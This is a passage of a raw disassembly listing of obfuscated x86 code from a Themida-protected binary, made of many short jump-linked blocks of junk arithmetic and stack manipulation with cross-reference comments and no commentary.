CODE XREF: Themida_:0059A4AAj pop esi jmp loc_5AEA9E ; --------------------------------------------------------------------------- loc_5A2081: ; CODE XREF: Themida_:0059FD78j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_59AF69 ; --------------------------------------------------------------------------- loc_5A2094: ; CODE XREF: Themida_:005AE9B0j sub esi, 7E35AC21h sub ecx, 561604B7h add ecx, esi add ecx, 561604B7h mov esi, [esp] jmp loc_59F594 ; --------------------------------------------------------------------------- loc_5A20B0: ; CODE XREF: Themida_:0059F397j sub ecx, 0C2082141h jmp loc_5AF72A ; --------------------------------------------------------------------------- loc_5A20BB: ; CODE XREF: Themida_:005AD870j mov ecx, 5AE34511h shr ecx, 2 shl ecx, 8 xchg esi, ecx jmp loc_59F04D ; --------------------------------------------------------------------------- loc_5A20CD: ; CODE XREF: Themida_:005ADD07j sub ebp, edx push eax mov eax, 44593B19h shl eax, 6 and eax, 0DD25D3Eh inc eax shr eax, 8 shl eax, 1 jmp loc_5AC6A4 ; --------------------------------------------------------------------------- loc_5A20E8: ; CODE XREF: Themida_:0059B012j jnz loc_5A47E4 xor edx, 65B5EAEFh xor esi, edx jmp loc_5A1550 ; --------------------------------------------------------------------------- loc_5A20FB: ; DATA XREF: Themida_:005987A8o push dword ptr [esp] pop edx push 680Ah mov [esp], ebx push 121h sub esp, 4 push esp jmp loc_59EF33 ; --------------------------------------------------------------------------- loc_5A2118: ; CODE XREF: Themida_:005AD7EAj mov cl, ah pop eax mov ebx, [esp] push ebp jmp loc_5A10F5 ; --------------------------------------------------------------------------- loc_5A2124: ; CODE XREF: Themida_:0059DDC9j add ecx, 6C631F2Ch add ecx, edi sub ecx, 6C631F2Ch mov edi, [esp] push ecx jmp loc_59C351 ; --------------------------------------------------------------------------- loc_5A213B: ; CODE XREF: Themida_:005ACA2Dj xchg esi, edi not esi xchg esi, edi push esi jmp loc_5A9345 ; --------------------------------------------------------------------------- loc_5A2147: ; CODE XREF: Themida_:0059C1A2j ; Themida_:loc_5A6F66j push ecx push 27318A1h pop ecx jmp loc_5A80BE ; --------------------------------------------------------------------------- loc_5A2153: ; CODE XREF: Themida_:005A1B3Ej xor edx, [esp] pop esp sub esp, 4 mov [esp], esp push esi mov esi, 4 jmp loc_59D3D0 ; --------------------------------------------------------------------------- loc_5A216B: ; CODE XREF: Themida_:005AAEE9j mov ecx, 4C7447A6h add ecx, 6404691Ch not ecx neg ecx jmp loc_5A9094 ; --------------------------------------------------------------------------- loc_5A217F: ; CODE XREF: Themida_:005A5AB0j add ebx, 12CFF3CEh or ecx, ebx pop ebx inc ecx inc ecx push ebp mov ebp, 0FDBC9E32h add ecx, ebp mov ebp, [esp] add esp, 4 sub ebx, ecx pop ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A21A0: ; CODE XREF: Themida_:005AE23Bj sub eax, 49F667E5h jmp loc_5A5640 ; --------------------------------------------------------------------------- loc_5A21AA: ; CODE XREF: Themida_:0059C8DAj pop edi or ebp, eax pop eax jmp loc_5A92D3 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_59EBB0 ; --------------------------------------------------------------------------- loc_5A21BC: ; CODE XREF: Themida_:005A4ACCj mov [esp], edx jmp loc_5A8C22 ; --------------------------------------------------------------------------- loc_5A21C4: ; CODE XREF: Themida_:005ADD62j pop ebp add dword ptr [esp+4], 27EA4C31h jmp loc_5A1B4E ; --------------------------------------------------------------------------- loc_5A21D2: ; CODE XREF: Themida_:005A90B9j mov ebp, 79356937h xchg edi, ebp inc edi xchg edi, ebp xor ebp, 8FF2FB0h add ebp, 8E35B97Ch jmp loc_5A2937 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], eax mov eax, esp push ecx jmp loc_5A8FDF ; --------------------------------------------------------------------------- loc_5A2208: ; CODE XREF: Themida_:005AB9D2j xor edi, 52DE3100h jg loc_5A693B push ecx mov ecx, 4E77E6Eh jmp loc_5A101F ; --------------------------------------------------------------------------- loc_5A221F: ; CODE XREF: Themida_:0059F069j add eax, 6C9912B4h jo loc_5AF62C push ebp jmp loc_59FCAF ; --------------------------------------------------------------------------- loc_5A2230: ; CODE XREF: Themida_:005AB0CDj ; Themida_:005AE80Dj add ebx, 0DA2FA878h jmp loc_5A7C3F ; --------------------------------------------------------------------------- loc_5A223B: ; CODE XREF: Themida_:005A09A9j ; Themida_:005A8A3Bj mov eax, edx mov ebp, eax pop eax mov edx, [esp] add esp, 4 push ecx mov ecx, 886A8B89h mov edi, ecx mov ecx, [esp] add esp, 4 add edi, ebp mov ebp, [esp] add esp, 4 add ebx, 6FB0B3Fh add ebx, edi sub ebx, 6FB0B3Fh pop edi jmp loc_59B351 ; --------------------------------------------------------------------------- loc_5A2270: ; CODE XREF: Themida_:005AF1F4j mov ecx, [esp] add esp, 4 push 36CCh mov [esp], eax push esp jmp loc_5A2B0F ; --------------------------------------------------------------------------- loc_5A2284: ; CODE XREF: Themida_:0059B29Bj pop edx add eax, 16B87547h jmp loc_59AA37 ; --------------------------------------------------------------------------- loc_5A228F: ; CODE XREF: Themida_:005A6505j add esp, 4 jmp loc_5A15C9 ; --------------------------------------------------------------------------- loc_5A2297: ; CODE XREF: Themida_:0059DCE0j push ecx mov ecx, 3FF878B9h not ecx jmp loc_5A6D26 ; --------------------------------------------------------------------------- loc_5A22A4: ; CODE XREF: Themida_:0059FA94j mov esi, ecx mov ecx, [esp] add esp, 4 push esi jmp loc_5AE42D ; --------------------------------------------------------------------------- loc_5A22B5: ; CODE XREF: Themida_:005AF5C0j mov al, 0E5h jmp loc_5ADAE5 ; --------------------------------------------------------------------------- loc_5A22BC: ; CODE XREF: Themida_:005A5AE8j pop ebx add edi, 0BC00F3D9h and eax, edi push dword ptr [esp] pop edi jmp loc_5AE980 ; --------------------------------------------------------------------------- loc_5A22CE: ; CODE XREF: Themida_:0059BD21j push 1959h mov [esp], ebx mov ebx, 719C7484h add [esp+4], ebx pop ebx push dword ptr [esp] mov edx, [esp] push edx mov edx, esp push ecx mov ecx, 5A5014FAh and ecx, 70EB4DDDh neg ecx and ecx, 470C43E4h and ecx, 421E33C7h jmp loc_59B400 ; --------------------------------------------------------------------------- loc_5A2308: ; CODE XREF: Themida_:005AA0E2j mov esi, 49F6E5Ch mov ecx, 49F6E5Eh jmp loc_5A12F7 ; --------------------------------------------------------------------------- loc_5A2317: ; CODE XREF: Themida_:005ABA39j pop dword ptr [esp] jmp loc_5AD937 ; --------------------------------------------------------------------------- loc_5A231F: ; CODE XREF: Themida_:005A573Dj push 2BDBh mov [esp], esp push ebp jmp loc_5AA671 ; --------------------------------------------------------------------------- loc_5A232D: ; CODE XREF: Themida_:0059E71Aj add esp, 4 mov ecx, 0B3B695Fh jmp loc_5A8F9F ; --------------------------------------------------------------------------- loc_5A233A: ; CODE XREF: Themida_:0059BC88j ; Themida_:0059FB2Fj jns loc_59986E add dl, 0D7h add bl, dl pop edx sub bl, 94h sub bl, 49h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- jmp loc_59D942 ; --------------------------------------------------------------------------- loc_5A2357: ; CODE XREF: Themida_:005A0B16j mov esp, [esp] xor [esp], eax jmp loc_5A7FE0 ; --------------------------------------------------------------------------- loc_5A2362: ; CODE XREF: Themida_:005A00A6j push ecx jmp loc_5A7C6D ; --------------------------------------------------------------------------- loc_5A2368: ; CODE XREF: Themida_:005AA388j mov bl, 4Dh add bl, 0E9h sub bl, 4Fh add bl, 0D8h jnb loc_5AE7C0 jmp loc_5A5039 ; --------------------------------------------------------------------------- loc_5A237E: ; CODE XREF: Themida_:005AA6FFj sub cl, 0C1h jmp loc_5A63A3 ; --------------------------------------------------------------------------- loc_5A2386: ; CODE XREF: Themida_:005A9310j pop esp jmp loc_5A67CA ; --------------------------------------------------------------------------- loc_5A238C: ; CODE XREF: Themida_:005A0384j not dword ptr [esp] pop eax neg eax jl loc_59D512 shl eax, 1 jnp loc_59D3AA jmp loc_5A05DF ; --------------------------------------------------------------------------- loc_5A23A5: ; CODE XREF: Themida_:0059EAF6j jmp loc_5AF14D ; --------------------------------------------------------------------------- loc_5A23AA: ; DATA XREF: Themida_:0059886Co push 1BB0h jmp loc_59BC50 ; --------------------------------------------------------------------------- loc_5A23B4: ; CODE XREF: Themida_:005A2BF2j add ebx, 362F79C6h mov edi, ebx pop ebx sub eax, edi jmp loc_59C74D ; --------------------------------------------------------------------------- loc_5A23C4: ; CODE XREF: Themida_:005A3455j ; Themida_:005A91AAj add ebx, 5EA10964h push edi mov edi, 7FB70AB4h jmp loc_5AF3DF ; --------------------------------------------------------------------------- loc_5A23D5: ; CODE XREF: Themida_:005ADB3Dj push ebp jmp loc_5A4AFB ; --------------------------------------------------------------------------- loc_5A23DB: ; CODE XREF: Themida_:0059E627j push 0BB9h mov [esp], ecx push esi jmp loc_5AA8C4 ; --------------------------------------------------------------------------- loc_5A23E9: ; CODE XREF: Themida_:005AB939j mov dh, ch mov ecx, [esp] jmp loc_5A411A ; --------------------------------------------------------------------------- loc_5A23F3: ; CODE XREF: Themida_:0059EE29j shr esi, 6 xor esi, 0E7B40B5h xor esi, 0AF3A59FFh xor ebx, esi pop esi jmp loc_59C13D ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp pop ebx sub esp, 4 mov [esp], ebp push edx mov edx, 122837E5h mov ebp, edx pop edx push 2A3h mov [esp], ebx mov ebx, 636643BFh shr ebx, 8 jz loc_59D75B neg ebx xchg eax, ebx jmp loc_5A2FC5 ; --------------------------------------------------------------------------- loc_5A2441: ; CODE XREF: Themida_:005A4255j ; Themida_:005ABAB0j jmp loc_5AED3D ; --------------------------------------------------------------------------- loc_5A2446: ; CODE XREF: Themida_:0059CBEAj push dword ptr [esp] pop edi jmp loc_59FDEA ; --------------------------------------------------------------------------- loc_5A244F: ; CODE XREF: Themida_:005A04CEj shl ebp, 8 add ebp, 0DCE2CE04h jmp loc_5A6E7F ; --------------------------------------------------------------------------- loc_5A245D: ; CODE XREF: Themida_:005AD0ADj push eax push dword ptr [esp+4] jmp loc_5AD17F ; --------------------------------------------------------------------------- loc_5A2467: ; CODE XREF: Themida_:005AD4FDj pop esp jmp loc_59B445 ; --------------------------------------------------------------------------- loc_5A246D: ; CODE XREF: Themida_:0059DD07j and dh, 0ADh xor dh, 0B9h xor ch, dh pop edx add al, ch jmp loc_5AE25E ; --------------------------------------------------------------------------- loc_5A247D: ; CODE XREF: Themida_:00599A41j pop eax jmp loc_5A76BA ; --------------------------------------------------------------------------- loc_5A2483: ; CODE XREF: Themida_:005A7EECj push ebp mov ebp, 830E41C8h add edi, ebp jmp loc_59AC43 ; --------------------------------------------------------------------------- loc_5A2490: ; CODE XREF: Themida_:00599A64j ; Themida_:005A3353j mov eax, 18D1240Bh push edi mov edi, eax push edi pop ecx mov edi, [esp] add esp, 4 jmp loc_5A1DB2 ; --------------------------------------------------------------------------- loc_5A24A8: ; CODE XREF: Themida_:005AABD1j push 5270h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push 51EEh mov [esp], ebp push 64FAh mov [esp], eax mov eax, 0FBE3F09h mov ebp, 0FBE3F0Dh xor ebp, eax jmp loc_5AB6DD ; --------------------------------------------------------------------------- loc_5A24DB: ; CODE XREF: Themida_:005AA4D6j mov cl, 81h mov al, cl pop ecx mov bh, al pop ax add bh, ch jmp loc_5A11EA ; --------------------------------------------------------------------------- loc_5A24EB: ; CODE XREF: Themida_:005A6BC8j xor [esp], ebx jmp loc_5ACC93 ; --------------------------------------------------------------------------- loc_5A24F3: ; DATA XREF: Themida_:0059873Co mov ax, [esp] push 4D24h jmp loc_59B215 ; --------------------------------------------------------------------------- loc_5A2501: ; CODE XREF: Themida_:0059DA51j push 65B3h mov [esp], esi push 1256h jmp loc_59CD80 ; --------------------------------------------------------------------------- loc_5A2513: ; CODE XREF: Themida_:005A7E1Cj pop edx add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_5ACE03 ; --------------------------------------------------------------------------- loc_5A2524: ; CODE XREF: Themida_:005A4A9Aj sub ebp, 5C367BF9h or ebp, 6FD711BDh jmp loc_5A065A ; --------------------------------------------------------------------------- loc_5A2535: ; CODE XREF: Themida_:0059BD0Aj mov [esp], eax mov eax, 48654161h mov ebp, eax pop eax jmp loc_5A54FC ; --------------------------------------------------------------------------- loc_5A2545: ; CODE XREF: Themida_:loc_5AC7B6j add ebx, 0FD97309h jmp loc_5A9435 ; --------------------------------------------------------------------------- loc_5A2550: ; CODE XREF: Themida_:005A348Dj ; Themida_:005ABF6Bj ... pop edi pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub eax, 128D7BD8h push 2938h jmp loc_5AE582 ; --------------------------------------------------------------------------- loc_5A256D: ; CODE XREF: Themida_:0059996Aj ; Themida_:005A8AA0j push esp jmp loc_5A2717 ; --------------------------------------------------------------------------- loc_5A2573: ; CODE XREF: Themida_:005AC107j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5AB4A4 ; --------------------------------------------------------------------------- loc_5A258A: ; CODE XREF: Themida_:005AEBA9j sub esp, 4 jmp loc_5ABD49 ; --------------------------------------------------------------------------- loc_5A2595: ; DATA XREF: Themida_:00598714o push 374Bh mov [esp], eax mov eax, 435C54B5h shr eax, 1 jmp loc_5A29E7 ; --------------------------------------------------------------------------- loc_5A25A9: ; CODE XREF: Themida_:005A4051j sub ebx, 12D09ADAh xor edi, ebx pop ebx not edi add edi, 59EBF62h jmp loc_59FD2A ; --------------------------------------------------------------------------- loc_5A25BF: ; DATA XREF: Themida_:005987E8o mov ax, [esp] jmp loc_59B565 ; --------------------------------------------------------------------------- loc_5A25C8: ; CODE XREF: Themida_:0059BF70j add eax, 57A4625Bh push dword ptr [esp] pop ebp add esp, 4 jmp loc_5AE719 ; --------------------------------------------------------------------------- loc_5A25DC: ; CODE XREF: Themida_:005A1FCDj push 6B3Dh mov [esp], eax mov al, dh jmp loc_59F969 ; --------------------------------------------------------------------------- loc_5A25EB: ; CODE XREF: Themida_:005AE358j sub bl, cl pop ecx mov ecx, [esp] jmp loc_5A8B9B ; --------------------------------------------------------------------------- loc_5A25F6: ; CODE XREF: Themida_:005A26F2j add edx, 52B907C3h push ecx jmp loc_59C4F2 ; --------------------------------------------------------------------------- loc_5A2602: ; CODE XREF: Themida_:005AD3FEj shl dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A260B: ; CODE XREF: Themida_:005A0D03j ; Themida_:005A5A0Bj pop esp sar byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2615: ; CODE XREF: Themida_:005A2852j ; Themida_:005A8173j add edx, ecx push edi jmp loc_5A5AC6 ; --------------------------------------------------------------------------- loc_5A261D: ; CODE XREF: Themida_:005A9552j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] jmp loc_59F025 ; --------------------------------------------------------------------------- loc_5A2649: ; CODE XREF: Themida_:005AE428j add ebx, 695F7241h add ebx, ebp push edx mov edx, 695F7241h sub ebx, 37F443CBh jmp loc_59D7B1 ; --------------------------------------------------------------------------- loc_5A2662: ; CODE XREF: Themida_:005AAAD9j xchg eax, edx jmp loc_59B340 ; --------------------------------------------------------------------------- loc_5A2668: ; CODE XREF: Themida_:0059D18Ej add ebp, 4 push eax mov eax, 4 jmp loc_599568 ; --------------------------------------------------------------------------- loc_5A2679: ; DATA XREF: Themida_:005988F0o lodsd add eax, 15B4366Eh sub eax, ebx sub esp, 4 mov [esp], ecx jmp loc_59BFA1 ; --------------------------------------------------------------------------- loc_5A268C: ; CODE XREF: Themida_:005A972Dj add dword ptr [esp+8], 7EDC5AA0h pop eax sub dword ptr [esp+4], 1BEE7CFAh sub [esp+4], edi add dword ptr [esp+4], 1BEE7CFAh push edi jmp loc_5A9016 ; --------------------------------------------------------------------------- loc_5A26AF: ; CODE XREF: Themida_:0059BC4Bj push eax mov eax, 67C50F2Dh xor esi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_59BBF1 ; --------------------------------------------------------------------------- loc_5A26C6: ; CODE XREF: Themida_:0059A01Aj jmp loc_5A9562 ; --------------------------------------------------------------------------- loc_5A26CB: ; CODE XREF: Themida_:005A3A1Cj mov esi, 4 mov edx, esi pop esi add eax, 6E657A1Eh sub eax, edx push esi mov esi, 57271960h jmp loc_5A4BB1 ; --------------------------------------------------------------------------- loc_5A26E5: ; CODE XREF: Themida_:005AF1C1j push esp mov ebx, [esp] add esp, 4 push edx mov edx, 68FE1461h jmp loc_5A25F6 ; --------------------------------------------------------------------------- loc_5A26F7: ; CODE XREF: Themida_:005A4746j add ecx, 4 push 16C5h mov [esp], ebx mov ebx, 4 push ebx jmp loc_5AD15E ; --------------------------------------------------------------------------- loc_5A2710: ; CODE XREF: Themida_:005AB7E9j push ecx push edx jmp loc_5AD843 ; --------------------------------------------------------------------------- loc_5A2717: ; CODE XREF: Themida_:005A256Ej pop dword ptr [esp] sub esp, 4 mov [esp], ecx push ebx jmp loc_5A4398 ; --------------------------------------------------------------------------- loc_5A2729: ; CODE XREF: Themida_:005A19C1j pop ebx jmp loc_5A68C8 ; --------------------------------------------------------------------------- loc_5A272F: ; CODE XREF: Themida_:005A826Ej pop dword ptr [esp] jmp loc_5A6557 ; --------------------------------------------------------------------------- loc_5A2737: ; CODE XREF: Themida_:0059F816j not ecx jmp loc_59E8A6 ; --------------------------------------------------------------------------- loc_5A273E: ; CODE XREF: Themida_:005AC07Aj add esp, 4 push 6DDCh mov [esp], ecx mov ecx, 17503033h add ecx, 5D164FFDh jmp loc_5AF86E ; --------------------------------------------------------------------------- loc_5A2759: ; CODE XREF: Themida_:005A977Dj shr eax, 6 jmp loc_5A0898 ; --------------------------------------------------------------------------- loc_5A2761: ; CODE XREF: Themida_:0059BEFBj mov al, 2 mov bh, al pop eax mov cl, bh pop ebx or cl, 0C3h push 3D1Ah mov [esp], eax push edx jmp loc_59B328 ; --------------------------------------------------------------------------- loc_5A277A: ; CODE XREF: Themida_:0059B07Aj ; Themida_:loc_5AA6A3j xor edx, 4AE42521h not edx shl edx, 6 sub edx, 1CBEF780h jmp loc_59AD80 ; --------------------------------------------------------------------------- loc_5A2790: ; CODE XREF: Themida_:005A6CF8j and ebp, 7AA2715Ah sub ebp, 2D374E8Fh add edx, ebp pop ebp add edx, eax sub edx, 1D4B12B9h pop eax add ebp, edx push dword ptr [esp] pop edx add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5A760F ; --------------------------------------------------------------------------- loc_5A27C2: ; CODE XREF: Themida_:loc_5A9374j add esi, 5783B8C7h add eax, esi jmp loc_59C2CC ; --------------------------------------------------------------------------- loc_5A27CF: ; CODE XREF: Themida_:005A9459j push ax mov ax, 0D300h xor di, ax pop ax add bx, di pop edi add bx, cx jmp loc_59D470 ; --------------------------------------------------------------------------- loc_5A27E6: ; CODE XREF: Themida_:005AB9A0j mov al, 99h and al, 0F2h jmp loc_59B169 ; --------------------------------------------------------------------------- loc_5A27EF: ; CODE XREF: Themida_:0059FB97j sub esp, 4 mov [esp], edi jmp loc_59BA77 ; --------------------------------------------------------------------------- loc_5A27FD: ; CODE XREF: Themida_:00599851j dec edx jmp loc_5A6400 ; --------------------------------------------------------------------------- loc_5A2803: ; CODE XREF: Themida_:0059F587j mov eax, esp add eax, 4 jmp loc_5A2DBF ; --------------------------------------------------------------------------- loc_5A280F: ; CODE XREF: Themida_:0059A4BEj add ebx, 47146D50h jmp loc_5A58F7 ; --------------------------------------------------------------------------- loc_5A281A: ; CODE XREF: Themida_:005A39DFj push 3408h jmp loc_59DDCE ; --------------------------------------------------------------------------- loc_5A2824: ; CODE XREF: Themida_:005A186Fj pop esi pop dword ptr [esp] pop esp mov [esp], ebx push 3CF33EFAh pop ebx add esi, ebx jmp loc_5A2F8C ; --------------------------------------------------------------------------- loc_5A2839: ; CODE XREF: Themida_:loc_59E805j or esi, 3D783FDDh jmp loc_5A549A ; --------------------------------------------------------------------------- loc_5A2844: ; CODE XREF: Themida_:005A8298j mov [esp], ecx jmp loc_59BBEA ; --------------------------------------------------------------------------- loc_5A284C: ; CODE XREF: Themida_:005AFA20j add ebx, 26680828h jb loc_5A2615 sub ebx, 86423A4Fh jmp loc_5A0415 ; --------------------------------------------------------------------------- loc_5A2863: ; CODE XREF: Themida_:005AC555j push dword ptr [esp+4] pop eax jmp loc_5A1837 ; --------------------------------------------------------------------------- loc_5A286D: ; CODE XREF: Themida_:005AB59Cj pop eax dec eax xor eax, 608A7636h sub esp, 4 mov [esp], eax pop ebp pop eax sub esp, 4 mov [esp], ecx mov ecx, 546C5A57h sub ecx, 1 push esi mov esi, 512A22E2h push edx mov edx, 333757C4h or edx, 7BA4454Eh or edx, 39B85697h not edx xor edx, 585B38F0h shl edx, 6 push edi mov edi, 16CB6EB8h not edi push eax jmp loc_5A5F56 ; --------------------------------------------------------------------------- loc_5A28C1: ; CODE XREF: Themida_:005A64D2j mov [esp], eax jmp loc_5A39B6 ; --------------------------------------------------------------------------- loc_5A28C9: ; CODE XREF: Themida_:0059C4E2j mov eax, [esp] push eax jmp loc_59A795 ; --------------------------------------------------------------------------- loc_5A28D2: ; CODE XREF: Themida_:00599325j ja loc_5A9BAF push edx mov edx, 71682ABDh xor esi, edx mov edx, [esp] push ecx loc_5A28E4: ; CODE XREF: Themida_:0059C4EDj add esp, 4 xchg ebp, [esp] pop esp push edx mov dh, 0F8h push ebx push edx mov dl, 7Fh mov bh, 0BEh add bh, dl pop edx sub bh, 4Eh jmp loc_599D1D ; --------------------------------------------------------------------------- loc_5A2902: ; CODE XREF: Themida_:005AD250j not bl mov ah, bl pop ebx sub ah, 1 sub ah, 0CAh shr ah, 8 inc ah sub esp, 4 mov [esp], edx mov dh, 0CFh add ah, 77h add ah, dh sub ah, 77h push dword ptr [esp] pop edx add esp, 4 mov cl, ah mov eax, [esp] push ebx jmp loc_59D68D ; --------------------------------------------------------------------------- loc_5A2937: ; CODE XREF: Themida_:005A21E8j add ebx, ebp mov ebp, [esp] jmp loc_5A70E8 ; --------------------------------------------------------------------------- loc_5A2941: ; CODE XREF: Themida_:0059CD84j add dword ptr [esp], 4 pop esi sub esp, 4 jmp loc_59C2B0 ; --------------------------------------------------------------------------- loc_5A2951: ; CODE XREF: Themida_:0059CDEDj ; Themida_:005A0001j mov eax, 20A804FAh sub eax, 40075519h shl eax, 2 xor eax, 0B0BDA9B3h push ebp mov ebp, 3F9459A4h and ebp, 14B67D78h shl ebp, 8 jmp loc_5AB17D ; --------------------------------------------------------------------------- loc_5A2977: ; CODE XREF: Themida_:00599406j sub dx, 25F8h jmp loc_5A62E2 ; --------------------------------------------------------------------------- loc_5A2981: ; CODE XREF: Themida_:005A8839j pop edx add eax, ecx add eax, 2CEB29FAh pop ecx jmp loc_5A2E24 ; --------------------------------------------------------------------------- loc_5A298F: ; CODE XREF: Themida_:005A35B7j push edi mov edi, 387A7400h dec edi shl edi, 6 jmp loc_5A424F ; --------------------------------------------------------------------------- loc_5A299E: ; CODE XREF: Themida_:005A32F9j add ebp, 891FDA11h add eax, ebp pop ebp add eax, edx sub eax, 125D4959h jmp loc_59EE59 ; --------------------------------------------------------------------------- loc_5A29B3: ; CODE XREF: Themida_:005A1F51j sub eax, 4745419Eh sub eax, ebx jmp loc_5A0043 ; --------------------------------------------------------------------------- loc_5A29BF: ; DATA XREF: Themida_:005986FCo mov sp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A29C8: ; CODE XREF: Themida_:0059DF6Ej push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A29DE: ; CODE XREF: Themida_:005A955Dj add esp, 4 push edx jmp loc_5AD2D4 ; --------------------------------------------------------------------------- loc_5A29E7: ; CODE XREF: Themida_:005A25A4j push ecx jmp loc_599671 ; --------------------------------------------------------------------------- loc_5A29ED: ; CODE XREF: Themida_:0059F8A1j sub bl, cl add bl, 15h mov ecx, [esp] jmp loc_59B517 ; --------------------------------------------------------------------------- loc_5A29FA: ; CODE XREF: Themida_:005A0E4Fj dec ebx and ebx, 3A787FA5h jmp loc_5A9369 ; --------------------------------------------------------------------------- loc_5A2A06: ; CODE XREF: Themida_:0059FBF6j add dword ptr [esp], 4 pop eax push ebp mov ebp, 4 jmp loc_5AA2AE ; --------------------------------------------------------------------------- loc_5A2A16: ; CODE XREF: Themida_:005A53EFj sub ebp, 4 xchg ebp, [esp] jmp loc_5A3194 ; --------------------------------------------------------------------------- loc_5A2A21: ; CODE XREF: Themida_:005A74FAj add edx, 4 jmp loc_5A2FB1 ; --------------------------------------------------------------------------- loc_5A2A2C: ; CODE XREF: Themida_:005A0434j pop cx xor dl, 9Ch xor ch, dl pop edx push small 0 add byte ptr [esp], 0F8h add byte ptr [esp], 0C5h sub [esp], ch sub byte ptr [esp], 0C5h push dx mov dl, 0F8h jmp loc_5A8097 ; --------------------------------------------------------------------------- loc_5A2A50: ; CODE XREF: Themida_:0059ABFFj sub ecx, 218C4AE7h or ecx, 758692Bh jmp loc_59F451 ; --------------------------------------------------------------------------- loc_5A2A61: ; CODE XREF: Themida_:005A463Ej jz loc_5A5C3C jmp loc_5A0DCC ; --------------------------------------------------------------------------- loc_5A2A6C: ; CODE XREF: Themida_:005A4695j add esp, 4 push ecx mov ecx, 79CD6CBAh mov ebp, 0E19ACAB6h xor ebp, ecx pop ecx add ebp, esi mov esi, [esp] add esp, 4 add edx, 52143162h add edx, 7381274Dh jmp loc_5AB2B0 ; --------------------------------------------------------------------------- loc_5A2A96: ; CODE XREF: Themida_:0059EB77j xor ebx, 5C337CD9h sub ebx, 24F4C6D2h add ecx, ebx pop ebx sub dword ptr [esp+4], 638782Dh jmp loc_5AC7A2 ; --------------------------------------------------------------------------- loc_5A2AB2: ; CODE XREF: Themida_:005AD515j mov esi, edx pop edx sub edx, 34EE5495h add edx, esi add edx, 34EE5495h pop esi xor edx, [esp] jmp loc_59FD7D ; --------------------------------------------------------------------------- loc_5A2ACC: ; DATA XREF: Themida_:0059879Co pop dword ptr [edi+40h] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2AD4: ; CODE XREF: Themida_:005A30FAj sub esp, 4 jmp loc_59F378 ; --------------------------------------------------------------------------- loc_5A2ADC: ; CODE XREF: Themida_:005A6EC9j push edx mov dl, 44h add dl, 0C9h shl dl, 6 jmp loc_5ADAD2 ; --------------------------------------------------------------------------- loc_5A2AEA: ; CODE XREF: Themida_:005A14E0j xor ch, 6Ch jmp loc_59D109 ; --------------------------------------------------------------------------- loc_5A2AF2: ; CODE XREF: Themida_:005A02FEj push dword ptr [esp] pop edi push edi jmp loc_599DC8 ; --------------------------------------------------------------------------- loc_5A2AFC: ; CODE XREF: Themida_:005AC881j add ebp, ebx jmp loc_59D583 ; --------------------------------------------------------------------------- loc_5A2B03: ; CODE XREF: Themida_:005ADCFBj push dword ptr [esp+4] mov esi, [esp] jmp loc_5AE8DD ; --------------------------------------------------------------------------- loc_5A2B0F: ; CODE XREF: Themida_:005A227Fj pop eax add eax, 4 add eax, 4 jmp loc_5AF43D ; --------------------------------------------------------------------------- loc_5A2B1D: ; CODE XREF: Themida_:005A41C2j add edi, 0FD05424Ch add [esp+4], edi mov edi, [esp] jmp loc_598D01 ; --------------------------------------------------------------------------- loc_5A2B2F: ; CODE XREF: Themida_:005ADF64j mov [esp], esi jmp loc_599D35 ; --------------------------------------------------------------------------- loc_5A2B37: ; CODE XREF: Themida_:005A9DEEj sub dword ptr [esp], 0AE2429Dh sub [esp], eax jmp loc_5A78FE ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_5AA768 ; --------------------------------------------------------------------------- loc_5A2B51: ; CODE XREF: Themida_:005A9045j add esp, 4 pop dword ptr [esp] mov esp, [esp] div cl movzx cx, ah push edi sub esp, 4 push 695h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] push edx jmp loc_5AC492 ; --------------------------------------------------------------------------- loc_5A2B87: ; CODE XREF: Themida_:005A7E95j mov [eax], dl jmp loc_5A2CDD ; --------------------------------------------------------------------------- loc_5A2B8E: ; CODE XREF: Themida_:005A94A1j mov esp, [esp] mov [esp], ebx mov ebx, 28EF3E10h add ebx, 3779317Bh push ebp jmp loc_5A18B4 ; --------------------------------------------------------------------------- loc_5A2BA5: ; CODE XREF: Themida_:005A0BC4j mov ah, bl push edx jmp loc_5A1237 ; --------------------------------------------------------------------------- loc_5A2BAD: ; CODE XREF: Themida_:005A6E7Aj sub esi, ecx pop ecx xchg esi, [esp] mov esp, [esp] mov [esp], cx jmp loc_59B04F ; --------------------------------------------------------------------------- loc_5A2BBF: ; CODE XREF: Themida_:005A3B57j push 2E36h mov [esp], ebx mov ebx, 7DFA0BB8h jmp loc_5A0F7F ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push 393Fh jmp loc_59B714 ; --------------------------------------------------------------------------- loc_5A2BE0: ; CODE XREF: Themida_:005AF50Dj push edi push ebx mov ebx, 0C0915EBh shl ebx, 8 inc ebx jl loc_5A7359 dec ebx jp loc_5A23B4 add ebx, 362F79C6h mov edi, ebx pop ebx sub eax, edi loc_5A2C03: ; CODE XREF: Themida_:005A72AAj push ebx mov ebx, 53A7228Dh not ebx sub ebx, 7E074FE2h shl ebx, 1 not ebx jmp 